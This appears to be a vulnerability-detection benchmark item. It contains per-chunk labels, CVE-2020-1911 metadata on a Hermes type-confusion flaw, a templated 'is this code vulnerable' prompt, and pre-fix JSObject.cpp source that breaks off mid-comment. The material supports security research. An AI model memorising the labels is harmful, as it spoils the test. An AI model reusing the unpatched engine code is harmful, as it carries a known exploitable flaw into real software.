[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [394, 1177], "buggy_code_start_loc": [394, 1176], "filenames": ["API/jsi/jsi/test/testlib.cpp", "lib/VM/JSObject.cpp"], "fixing_code_end_loc": [412, 1177], "fixing_code_start_loc": [395, 1176], "message": "A type confusion vulnerability when resolving properties of JavaScript objects with specially-crafted prototype chains in Facebook Hermes prior to commit fe52854cdf6725c2eaa9e125995da76e6ceb27da allows attackers to potentially execute arbitrary code via crafted JavaScript. Note that this is only exploitable if the application using Hermes permits evaluation of untrusted JavaScript. Hence, most React Native applications are not affected.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:facebook:hermes:*:*:*:*:*:*:*:*", "matchCriteriaId": "A050D3EF-B82D-4B22-8504-42B384E738B9", "versionEndExcluding": "0.4.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A type confusion vulnerability when resolving properties of JavaScript objects with specially-crafted prototype chains in Facebook Hermes prior to commit fe52854cdf6725c2eaa9e125995da76e6ceb27da allows attackers to potentially execute arbitrary code via crafted JavaScript. Note that this is only exploitable if the application using Hermes permits evaluation of untrusted JavaScript. Hence, most React Native applications are not affected."}, {"lang": "es", "value": "Una vulnerabilidad de confusi\u00f3n de tipos al resolver propiedades de objetos JavaScript con cadenas de prototipos especialmente dise\u00f1adas en Facebook Hermes versiones anteriores al commit fe52854cdf6725c2eaa9e125995da76e6ceb27da, permite a atacantes ejecutar potencialmente c\u00f3digo arbitrario por medio de un JavaScript dise\u00f1ado. Tome en cuenta que esto solo se puede explotar si la aplicaci\u00f3n que usa Hermes permite una evaluaci\u00f3n de JavaScript que no es confiable. Por lo tanto, la mayor\u00eda de las aplicaciones React Native no est\u00e1n afectadas"}], "evaluatorComment": null, "id": "CVE-2020-1911", "lastModified": "2020-09-11T17:02:45.287", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2020-09-04T03:15:09.700", "references": [{"source": "cve-assign@fb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/facebook/hermes/commit/fe52854cdf6725c2eaa9e125995da76e6ceb27da"}, {"source": "cve-assign@fb.com", "tags": ["Third Party Advisory"], "url": "https://www.facebook.com/security/advisories/cve-2020-1911"}], "sourceIdentifier": "cve-assign@fb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-843"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-843"}], "source": "cve-assign@fb.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/facebook/hermes/commit/fe52854cdf6725c2eaa9e125995da76e6ceb27da"}, "type": "CWE-843"}
138
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */", "#include \"hermes/VM/JSObject.h\"", "#include \"hermes/VM/BuildMetadata.h\"\n#include \"hermes/VM/Callable.h\"\n#include \"hermes/VM/HostModel.h\"\n#include \"hermes/VM/InternalProperty.h\"\n#include \"hermes/VM/JSArray.h\"\n#include \"hermes/VM/JSDate.h\"\n#include \"hermes/VM/JSProxy.h\"\n#include \"hermes/VM/Operations.h\"\n#include \"hermes/VM/StringView.h\"", "#include \"llvh/ADT/SmallSet.h\"", "namespace hermes {\nnamespace vm {", "ObjectVTable JSObject::vt{\n VTable(\n CellKind::ObjectKind,\n cellSize<JSObject>(),\n nullptr,\n nullptr,\n nullptr,\n nullptr,\n nullptr,\n nullptr, // externalMemorySize\n VTable::HeapSnapshotMetadata{HeapSnapshot::NodeType::Object,\n JSObject::_snapshotNameImpl,\n JSObject::_snapshotAddEdgesImpl,\n nullptr,\n JSObject::_snapshotAddLocationsImpl}),\n JSObject::_getOwnIndexedRangeImpl,\n JSObject::_haveOwnIndexedImpl,\n JSObject::_getOwnIndexedPropertyFlagsImpl,\n JSObject::_getOwnIndexedImpl,\n JSObject::_setOwnIndexedImpl,\n JSObject::_deleteOwnIndexedImpl,\n JSObject::_checkAllOwnIndexedImpl,\n};", "void ObjectBuildMeta(const GCCell *cell, Metadata::Builder &mb) {\n // This call is just for debugging and consistency purposes.\n mb.addJSObjectOverlapSlots(JSObject::numOverlapSlots<JSObject>());", " const auto *self = static_cast<const JSObject *>(cell);\n mb.addField(\"parent\", &self->parent_);\n mb.addField(\"class\", &self->clazz_);\n mb.addField(\"propStorage\", &self->propStorage_);", " // Declare the direct properties.\n static const char *directPropName[JSObject::DIRECT_PROPERTY_SLOTS] = {\n \"directProp0\", \"directProp1\", \"directProp2\", \"directProp3\"};\n for (unsigned i = mb.getJSObjectOverlapSlots();\n i < JSObject::DIRECT_PROPERTY_SLOTS;\n ++i) {\n mb.addField(directPropName[i], self->directProps() + i);\n }\n}", "#ifdef HERMESVM_SERIALIZE\nvoid JSObject::serializeObjectImpl(\n Serializer &s,\n const GCCell *cell,\n unsigned overlapSlots) {\n auto *self = vmcast<const JSObject>(cell);\n s.writeData(&self->flags_, sizeof(ObjectFlags));\n s.writeRelocation(self->parent_.get(s.getRuntime()));\n s.writeRelocation(self->clazz_.get(s.getRuntime()));\n // propStorage_ : GCPointer<PropStorage> is also ArrayStorage. Serialize\n // *propStorage_ with this JSObject.\n bool hasArray = (bool)self->propStorage_;\n s.writeInt<uint8_t>(hasArray);\n if (hasArray) {\n ArrayStorage::serializeArrayStorage(\n s, self->propStorage_.get(s.getRuntime()));\n }", " // Record the number of overlap slots, so that the deserialization code\n // doesn't need to keep track of it.\n s.writeInt<uint8_t>(overlapSlots);\n for (size_t i = overlapSlots; i < JSObject::DIRECT_PROPERTY_SLOTS; i++) {\n s.writeHermesValue(self->directProps()[i]);\n }\n}", "void ObjectSerialize(Serializer &s, const GCCell *cell) {\n JSObject::serializeObjectImpl(s, cell, JSObject::numOverlapSlots<JSObject>());\n s.endObject(cell);\n}", "void ObjectDeserialize(Deserializer &d, CellKind kind) {\n assert(kind == CellKind::ObjectKind && \"Expected JSObject\");\n void *mem = d.getRuntime()->alloc</*fixedSize*/ true>(cellSize<JSObject>());\n auto *obj = new (mem) JSObject(d, &JSObject::vt.base);", " d.endObject(obj);\n}", "JSObject::JSObject(Deserializer &d, const VTable *vtp)\n : GCCell(&d.getRuntime()->getHeap(), vtp) {\n d.readData(&flags_, sizeof(ObjectFlags));\n d.readRelocation(&parent_, RelocationKind::GCPointer);\n d.readRelocation(&clazz_, RelocationKind::GCPointer);\n if (d.readInt<uint8_t>()) {\n propStorage_.set(\n d.getRuntime(),\n ArrayStorage::deserializeArrayStorage(d),\n &d.getRuntime()->getHeap());\n }", " auto overlapSlots = d.readInt<uint8_t>();\n for (size_t i = overlapSlots; i < JSObject::DIRECT_PROPERTY_SLOTS; i++) {\n d.readHermesValue(&directProps()[i]);\n }\n}\n#endif", "PseudoHandle<JSObject> JSObject::create(\n Runtime *runtime,\n Handle<JSObject> parentHandle) {\n JSObjectAlloc<JSObject> mem{runtime};\n return mem.initToPseudoHandle(new (mem) JSObject(\n runtime,\n &vt.base,\n *parentHandle,\n runtime->getHiddenClassForPrototypeRaw(\n *parentHandle,\n numOverlapSlots<JSObject>() + ANONYMOUS_PROPERTY_SLOTS),\n GCPointerBase::NoBarriers()));\n}", "PseudoHandle<JSObject> JSObject::create(Runtime *runtime) {\n JSObjectAlloc<JSObject> mem{runtime};\n JSObject *objProto = runtime->objectPrototypeRawPtr;\n return mem.initToPseudoHandle(new (mem) JSObject(\n runtime,\n &vt.base,\n objProto,\n runtime->getHiddenClassForPrototypeRaw(\n objProto, numOverlapSlots<JSObject>() + ANONYMOUS_PROPERTY_SLOTS),\n GCPointerBase::NoBarriers()));\n}", "PseudoHandle<JSObject> JSObject::create(\n Runtime *runtime,\n unsigned propertyCount) {\n JSObjectAlloc<JSObject> mem{runtime};\n JSObject *objProto = runtime->objectPrototypeRawPtr;\n auto self = mem.initToPseudoHandle(new (mem) JSObject(\n runtime,\n &vt.base,\n objProto,\n runtime->getHiddenClassForPrototypeRaw(\n objProto, numOverlapSlots<JSObject>() + ANONYMOUS_PROPERTY_SLOTS),\n GCPointerBase::NoBarriers()));", " return runtime->ignoreAllocationFailure(\n JSObject::allocatePropStorage(std::move(self), runtime, propertyCount));\n}", "PseudoHandle<JSObject> JSObject::create(\n Runtime *runtime,\n Handle<HiddenClass> clazz) {\n auto obj = JSObject::create(runtime, clazz->getNumProperties());\n obj->clazz_.set(runtime, *clazz, &runtime->getHeap());\n // If the hidden class has index like property, we need to clear the fast path\n // flag.\n if (LLVM_UNLIKELY(obj->clazz_.get(runtime)->getHasIndexLikeProperties()))\n obj->flags_.fastIndexProperties = false;\n return obj;\n}", "void JSObject::initializeLazyObject(\n Runtime *runtime,\n Handle<JSObject> lazyObject) {\n assert(lazyObject->flags_.lazyObject && \"object must be lazy\");\n // object is now assumed to be a regular object.\n lazyObject->flags_.lazyObject = 0;", " // only functions can be lazy.\n assert(vmisa<Callable>(lazyObject.get()) && \"unexpected lazy object\");\n Callable::defineLazyProperties(Handle<Callable>::vmcast(lazyObject), runtime);\n}", "ObjectID JSObject::getObjectID(JSObject *self, Runtime *runtime) {\n if (LLVM_LIKELY(self->flags_.objectID))\n return self->flags_.objectID;", " // Object ID does not yet exist, get next unique global ID..\n self->flags_.objectID = runtime->generateNextObjectID();\n // Make sure it is not zero.\n if (LLVM_UNLIKELY(!self->flags_.objectID))\n --self->flags_.objectID;\n return self->flags_.objectID;\n}", "CallResult<PseudoHandle<JSObject>> JSObject::getPrototypeOf(\n PseudoHandle<JSObject> selfHandle,\n Runtime *runtime) {\n if (LLVM_LIKELY(!selfHandle->isProxyObject())) {\n return createPseudoHandle(selfHandle->getParent(runtime));\n }", " return JSProxy::getPrototypeOf(\n runtime->makeHandle(std::move(selfHandle)), runtime);\n}", "namespace {", "CallResult<bool> proxyOpFlags(\n Runtime *runtime,\n PropOpFlags opFlags,\n const char *msg,\n CallResult<bool> res) {\n if (LLVM_UNLIKELY(res == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n if (!*res && opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(msg);\n }\n return res;\n}", "} // namespace", "CallResult<bool> JSObject::setParent(\n JSObject *self,\n Runtime *runtime,\n JSObject *parent,\n PropOpFlags opFlags) {\n if (LLVM_UNLIKELY(self->isProxyObject())) {\n return proxyOpFlags(\n runtime,\n opFlags,\n \"Object is not extensible.\",\n JSProxy::setPrototypeOf(\n runtime->makeHandle(self), runtime, runtime->makeHandle(parent)));\n }\n // ES9 9.1.2\n // 4.\n if (self->parent_.get(runtime) == parent)\n return true;\n // 5.\n if (!self->isExtensible()) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\"Object is not extensible.\");\n } else {\n return false;\n }\n }\n // 6-8. Check for a prototype cycle.\n for (JSObject *cur = parent; cur; cur = cur->parent_.get(runtime)) {\n if (cur == self) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\"Prototype cycle detected\");\n } else {\n return false;\n }\n } else if (LLVM_UNLIKELY(cur->isProxyObject())) {\n // TODO this branch should also be used for module namespace and\n // immutable prototype exotic objects.\n break;\n }\n }\n // 9.\n self->parent_.set(runtime, parent, &runtime->getHeap());\n // 10.\n return true;\n}", "void JSObject::allocateNewSlotStorage(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SlotIndex newSlotIndex,\n Handle<> valueHandle) {\n // If it is a direct property, just store the value and we are done.\n if (LLVM_LIKELY(newSlotIndex < DIRECT_PROPERTY_SLOTS)) {\n selfHandle->directProps()[newSlotIndex].set(\n *valueHandle, &runtime->getHeap());\n return;\n }", " // Make the slot index relative to the indirect storage.\n newSlotIndex -= DIRECT_PROPERTY_SLOTS;", " // Allocate a new property storage if not already allocated.\n if (LLVM_UNLIKELY(!selfHandle->propStorage_)) {\n // Allocate new storage.\n assert(newSlotIndex == 0 && \"allocated slot must be at end\");\n auto arrRes = runtime->ignoreAllocationFailure(\n PropStorage::create(runtime, DEFAULT_PROPERTY_CAPACITY));\n selfHandle->propStorage_.set(\n runtime, vmcast<PropStorage>(arrRes), &runtime->getHeap());\n } else if (LLVM_UNLIKELY(\n newSlotIndex >=\n selfHandle->propStorage_.get(runtime)->capacity())) {\n // Reallocate the existing one.\n assert(\n newSlotIndex == selfHandle->propStorage_.get(runtime)->size() &&\n \"allocated slot must be at end\");\n auto hnd = runtime->makeMutableHandle(selfHandle->propStorage_);\n PropStorage::resize(hnd, runtime, newSlotIndex + 1);\n selfHandle->propStorage_.set(runtime, *hnd, &runtime->getHeap());\n }", " {\n NoAllocScope scope{runtime};\n auto *const propStorage = selfHandle->propStorage_.getNonNull(runtime);\n if (newSlotIndex >= propStorage->size()) {\n assert(\n newSlotIndex == propStorage->size() &&\n \"allocated slot must be at end\");\n PropStorage::resizeWithinCapacity(propStorage, runtime, newSlotIndex + 1);\n }\n // If we don't need to resize, just store it directly.\n propStorage->at(newSlotIndex).set(*valueHandle, &runtime->getHeap());\n }\n}", "CallResult<PseudoHandle<>> JSObject::getNamedPropertyValue_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<JSObject> propObj,\n NamedPropertyDescriptor desc) {\n assert(\n !selfHandle->flags_.proxyObject && !propObj->flags_.proxyObject &&\n \"getNamedPropertyValue_RJS cannot be used with proxy objects\");", " if (LLVM_LIKELY(!desc.flags.accessor))\n return createPseudoHandle(getNamedSlotValue(propObj.get(), runtime, desc));", " auto *accessor =\n vmcast<PropertyAccessor>(getNamedSlotValue(propObj.get(), runtime, desc));\n if (!accessor->getter)\n return createPseudoHandle(HermesValue::encodeUndefinedValue());", " // Execute the accessor on this object.\n return accessor->getter.get(runtime)->executeCall0(\n runtime->makeHandle(accessor->getter), runtime, selfHandle);\n}", "CallResult<PseudoHandle<>> JSObject::getComputedPropertyValue_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<JSObject> propObj,\n ComputedPropertyDescriptor desc) {\n assert(\n !selfHandle->flags_.proxyObject && !propObj->flags_.proxyObject &&\n \"getComputedPropertyValue_RJS cannot be used with proxy objects\");", " if (LLVM_LIKELY(!desc.flags.accessor))\n return createPseudoHandle(\n getComputedSlotValue(propObj.get(), runtime, desc));", " auto *accessor = vmcast<PropertyAccessor>(\n getComputedSlotValue(propObj.get(), runtime, desc));\n if (!accessor->getter)\n return createPseudoHandle(HermesValue::encodeUndefinedValue());", " // Execute the accessor on this object.\n return accessor->getter.get(runtime)->executeCall0(\n runtime->makeHandle(accessor->getter), runtime, selfHandle);\n}", "CallResult<PseudoHandle<>> JSObject::getComputedPropertyValue_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<JSObject> propObj,\n ComputedPropertyDescriptor desc,\n Handle<> nameValHandle) {\n if (!propObj) {\n return createPseudoHandle(HermesValue::encodeEmptyValue());\n }", " if (LLVM_LIKELY(!desc.flags.proxyObject)) {\n return JSObject::getComputedPropertyValue_RJS(\n selfHandle, runtime, propObj, desc);\n }", " CallResult<Handle<>> keyRes = toPropertyKey(runtime, nameValHandle);\n if (LLVM_UNLIKELY(keyRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n CallResult<bool> hasRes = JSProxy::hasComputed(propObj, runtime, *keyRes);\n if (LLVM_UNLIKELY(hasRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n if (!*hasRes) {\n return createPseudoHandle(HermesValue::encodeEmptyValue());\n }\n return JSProxy::getComputed(propObj, runtime, *keyRes, selfHandle);\n}", "CallResult<Handle<JSArray>> JSObject::getOwnPropertyKeys(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n OwnKeysFlags okFlags) {\n assert(\n (okFlags.getIncludeNonSymbols() || okFlags.getIncludeSymbols()) &&\n \"Can't exclude symbols and strings\");\n if (LLVM_UNLIKELY(\n selfHandle->flags_.lazyObject || selfHandle->flags_.proxyObject)) {\n if (selfHandle->flags_.proxyObject) {\n CallResult<PseudoHandle<JSArray>> proxyRes =\n JSProxy::ownPropertyKeys(selfHandle, runtime, okFlags);\n if (LLVM_UNLIKELY(proxyRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n return runtime->makeHandle(std::move(*proxyRes));\n }\n assert(selfHandle->flags_.lazyObject && \"descriptor flags are impossible\");\n initializeLazyObject(runtime, selfHandle);\n }", " auto range = getOwnIndexedRange(selfHandle.get(), runtime);", " // Estimate the capacity of the output array. This estimate is only\n // reasonable for the non-symbol case.\n uint32_t capacity = okFlags.getIncludeNonSymbols()\n ? (selfHandle->clazz_.get(runtime)->getNumProperties() + range.second -\n range.first)\n : 0;", " auto arrayRes = JSArray::create(runtime, capacity, 0);\n if (LLVM_UNLIKELY(arrayRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n auto array = runtime->makeHandle(std::move(*arrayRes));", " // Optional array of SymbolIDs reported via host object API\n llvh::Optional<Handle<JSArray>> hostObjectSymbols;\n size_t hostObjectSymbolCount = 0;", " // If current object is a host object we need to deduplicate its properties\n llvh::SmallSet<SymbolID::RawType, 16> dedupSet;", " // Output index.\n uint32_t index = 0;", " // Avoid allocating a new handle per element.\n MutableHandle<> tmpHandle{runtime};", " // Number of indexed properties.\n uint32_t numIndexed = 0;", " // Regular properties with names that are array indexes are stashed here, if\n // encountered.\n llvh::SmallVector<uint32_t, 8> indexNames{};", " // Iterate the named properties excluding those which use Symbols.\n if (okFlags.getIncludeNonSymbols()) {\n // Get host object property names\n if (LLVM_UNLIKELY(selfHandle->flags_.hostObject)) {\n assert(\n range.first == range.second &&\n \"Host objects cannot own indexed range\");\n auto hostSymbolsRes =\n vmcast<HostObject>(selfHandle.get())->getHostPropertyNames();\n if (hostSymbolsRes == ExecutionStatus::EXCEPTION) {\n return ExecutionStatus::EXCEPTION;\n }\n if ((hostObjectSymbolCount = (**hostSymbolsRes)->getEndIndex()) != 0) {\n Handle<JSArray> hostSymbols = *hostSymbolsRes;\n hostObjectSymbols = std::move(hostSymbols);\n capacity += hostObjectSymbolCount;\n }\n }", " // Iterate the indexed properties.\n GCScopeMarkerRAII marker{runtime};\n for (auto i = range.first; i != range.second; ++i) {\n auto res = getOwnIndexedPropertyFlags(selfHandle.get(), runtime, i);\n if (!res)\n continue;", " // If specified, check whether it is enumerable.\n if (!okFlags.getIncludeNonEnumerable() && !res->enumerable)\n continue;", " tmpHandle = HermesValue::encodeDoubleValue(i);\n JSArray::setElementAt(array, runtime, index++, tmpHandle);\n marker.flush();\n }", " numIndexed = index;", " HiddenClass::forEachProperty(\n runtime->makeHandle(selfHandle->clazz_),\n runtime,\n [runtime,\n okFlags,\n array,\n hostObjectSymbolCount,\n &index,\n &indexNames,\n &tmpHandle,\n &dedupSet](SymbolID id, NamedPropertyDescriptor desc) {\n if (!isPropertyNamePrimitive(id)) {\n return;\n }", " // If specified, check whether it is enumerable.\n if (!okFlags.getIncludeNonEnumerable()) {\n if (!desc.flags.enumerable)\n return;\n }", " // Host properties might overlap with the ones recognized by the\n // hidden class. If we're dealing with a host object then keep track\n // of hidden class properties for the deduplication purposes.\n if (LLVM_UNLIKELY(hostObjectSymbolCount > 0)) {\n dedupSet.insert(id.unsafeGetRaw());\n }", " // Check if this property is an integer index. If it is, we stash it\n // away to deal with it later. This check should be fast since most\n // property names don't start with a digit.\n auto propNameAsIndex = toArrayIndex(\n runtime->getIdentifierTable().getStringView(runtime, id));\n if (LLVM_UNLIKELY(propNameAsIndex)) {\n indexNames.push_back(*propNameAsIndex);\n return;\n }", " tmpHandle = HermesValue::encodeStringValue(\n runtime->getStringPrimFromSymbolID(id));\n JSArray::setElementAt(array, runtime, index++, tmpHandle);\n });", " // Iterate over HostObject properties and append them to the array. Do not\n // append duplicates.\n if (LLVM_UNLIKELY(hostObjectSymbols)) {\n for (size_t i = 0; i < hostObjectSymbolCount; ++i) {\n assert(\n (*hostObjectSymbols)->at(runtime, i).isSymbol() &&\n \"Host object needs to return array of SymbolIDs\");\n marker.flush();\n SymbolID id = (*hostObjectSymbols)->at(runtime, i).getSymbol();\n if (dedupSet.count(id.unsafeGetRaw()) == 0) {\n dedupSet.insert(id.unsafeGetRaw());", " assert(\n !InternalProperty::isInternal(id) &&\n \"host object returned reserved symbol\");\n auto propNameAsIndex = toArrayIndex(\n runtime->getIdentifierTable().getStringView(runtime, id));\n if (LLVM_UNLIKELY(propNameAsIndex)) {\n indexNames.push_back(*propNameAsIndex);\n continue;\n }\n tmpHandle = HermesValue::encodeStringValue(\n runtime->getStringPrimFromSymbolID(id));\n JSArray::setElementAt(array, runtime, index++, tmpHandle);\n }\n }\n }\n }", " // Now iterate the named properties again, including only Symbols.\n // We could iterate only once, if we chose to ignore (and disallow)\n // own properties on HostObjects, as we do with Proxies.\n if (okFlags.getIncludeSymbols()) {\n MutableHandle<SymbolID> idHandle{runtime};\n HiddenClass::forEachProperty(\n runtime->makeHandle(selfHandle->clazz_),\n runtime,\n [runtime, okFlags, array, &index, &idHandle](\n SymbolID id, NamedPropertyDescriptor desc) {\n if (!isSymbolPrimitive(id)) {\n return;\n }\n // If specified, check whether it is enumerable.\n if (!okFlags.getIncludeNonEnumerable()) {\n if (!desc.flags.enumerable)\n return;\n }\n idHandle = id;\n JSArray::setElementAt(array, runtime, index++, idHandle);\n });\n }", " // The end (exclusive) of the named properties.\n uint32_t endNamed = index;", " // Properly set the length of the array.\n auto cr = JSArray::setLength(\n array, runtime, endNamed + indexNames.size(), PropOpFlags{});\n (void)cr;\n assert(\n cr != ExecutionStatus::EXCEPTION && *cr && \"JSArray::setLength() failed\");", " // If we have no index-like names, we are done.\n if (LLVM_LIKELY(indexNames.empty()))\n return array;", " // In the unlikely event that we encountered index-like names, we need to sort\n // them and merge them with the real indexed properties. Note that it is\n // guaranteed that there are no clashes.\n std::sort(indexNames.begin(), indexNames.end());", " // Also make space for the new elements by shifting all the named properties\n // to the right. First, resize the array.\n JSArray::setStorageEndIndex(array, runtime, endNamed + indexNames.size());", " // Shift the non-index property names. The region [numIndexed..endNamed) is\n // moved to [numIndexed+indexNames.size()..array->size()).\n // TODO: optimize this by implementing memcpy-like functionality in ArrayImpl.\n for (uint32_t last = endNamed, toLast = array->getEndIndex();\n last != numIndexed;) {\n --last;\n --toLast;\n tmpHandle = array->at(runtime, last);\n JSArray::setElementAt(array, runtime, toLast, tmpHandle);\n }", " // Now we need to merge the indexes in indexNames and the array\n // [0..numIndexed). We start from the end and copy the larger element from\n // either array.\n // 1+ the destination position to copy into.\n for (uint32_t toLast = numIndexed + indexNames.size(),\n indexNamesLast = indexNames.size();\n toLast != 0;) {\n if (numIndexed) {\n uint32_t a = (uint32_t)array->at(runtime, numIndexed - 1).getNumber();\n uint32_t b;", " if (indexNamesLast && (b = indexNames[indexNamesLast - 1]) > a) {\n tmpHandle = HermesValue::encodeDoubleValue(b);\n --indexNamesLast;\n } else {\n tmpHandle = HermesValue::encodeDoubleValue(a);\n --numIndexed;\n }\n } else {\n assert(indexNamesLast && \"prematurely ran out of source values\");\n tmpHandle =\n HermesValue::encodeDoubleValue(indexNames[indexNamesLast - 1]);\n --indexNamesLast;\n }", " --toLast;\n JSArray::setElementAt(array, runtime, toLast, tmpHandle);\n }", " return array;\n}", "/// Convert a value to string unless already converted\n/// \\param nameValHandle [Handle<>] the value to convert\n/// \\param str [MutableHandle<StringPrimitive>] the string is stored\n/// there. Must be initialized to null initially.\n#define LAZY_TO_STRING(runtime, nameValHandle, str) \\\n do { \\\n if (!str) { \\\n auto status = toString_RJS(runtime, nameValHandle); \\\n assert( \\\n status != ExecutionStatus::EXCEPTION && \\\n \"toString() of primitive cannot fail\"); \\\n str = status->get(); \\\n } \\\n } while (0)", "/// Convert a value to an identifier unless already converted\n/// \\param nameValHandle [Handle<>] the value to convert\n/// \\param id [SymbolID] the identifier is stored there. Must be initialized\n/// to INVALID_IDENTIFIER_ID initially.\n#define LAZY_TO_IDENTIFIER(runtime, nameValHandle, id) \\\n do { \\\n if (id.isInvalid()) { \\\n CallResult<Handle<SymbolID>> idRes = \\\n valueToSymbolID(runtime, nameValHandle); \\\n if (LLVM_UNLIKELY(idRes == ExecutionStatus::EXCEPTION)) { \\\n return ExecutionStatus::EXCEPTION; \\\n } \\\n id = **idRes; \\\n } \\\n } while (0)", "/// Convert a value to array index, if possible.\n/// \\param nameValHandle [Handle<>] the value to convert\n/// \\param str [MutableHandle<StringPrimitive>] the string is stored\n/// there. Must be initialized to null initially.\n/// \\param arrayIndex [OptValue<uint32_t>] the array index is stored\n/// there.\n#define TO_ARRAY_INDEX(runtime, nameValHandle, str, arrayIndex) \\\n do { \\\n arrayIndex = toArrayIndexFastPath(*nameValHandle); \\\n if (!arrayIndex && !nameValHandle->isSymbol()) { \\\n LAZY_TO_STRING(runtime, nameValHandle, str); \\\n arrayIndex = toArrayIndex(runtime, str); \\\n } \\\n } while (0)", "/// \\return true if the flags of a new property make it suitable for indexed\n/// storage. All new indexed properties are enumerable, writable and\n/// configurable and have no accessors.\nstatic bool canNewPropertyBeIndexed(DefinePropertyFlags dpf) {\n return dpf.setEnumerable && dpf.enumerable && dpf.setWritable &&\n dpf.writable && dpf.setConfigurable && dpf.configurable &&\n !dpf.setSetter && !dpf.setGetter;\n}", "struct JSObject::Helper {\n public:\n LLVM_ATTRIBUTE_ALWAYS_INLINE\n static ObjectFlags &flags(JSObject *self) {\n return self->flags_;\n }", " LLVM_ATTRIBUTE_ALWAYS_INLINE\n static OptValue<PropertyFlags>\n getOwnIndexedPropertyFlags(JSObject *self, Runtime *runtime, uint32_t index) {\n return JSObject::getOwnIndexedPropertyFlags(self, runtime, index);\n }", " LLVM_ATTRIBUTE_ALWAYS_INLINE\n static NamedPropertyDescriptor &castToNamedPropertyDescriptorRef(\n ComputedPropertyDescriptor &desc) {\n return desc.castToNamedPropertyDescriptorRef();\n }\n};", "namespace {", "/// ES5.1 8.12.1.", "/// A helper which takes a SymbolID which caches the conversion of\n/// nameValHandle if it's needed. It should be default constructed,\n/// and may or may not be set. This has been measured to be a useful\n/// perf win. Note that always_inline seems to be ignored on static\n/// methods, so this function has to be local to the cpp file in order\n/// to be inlined for the perf 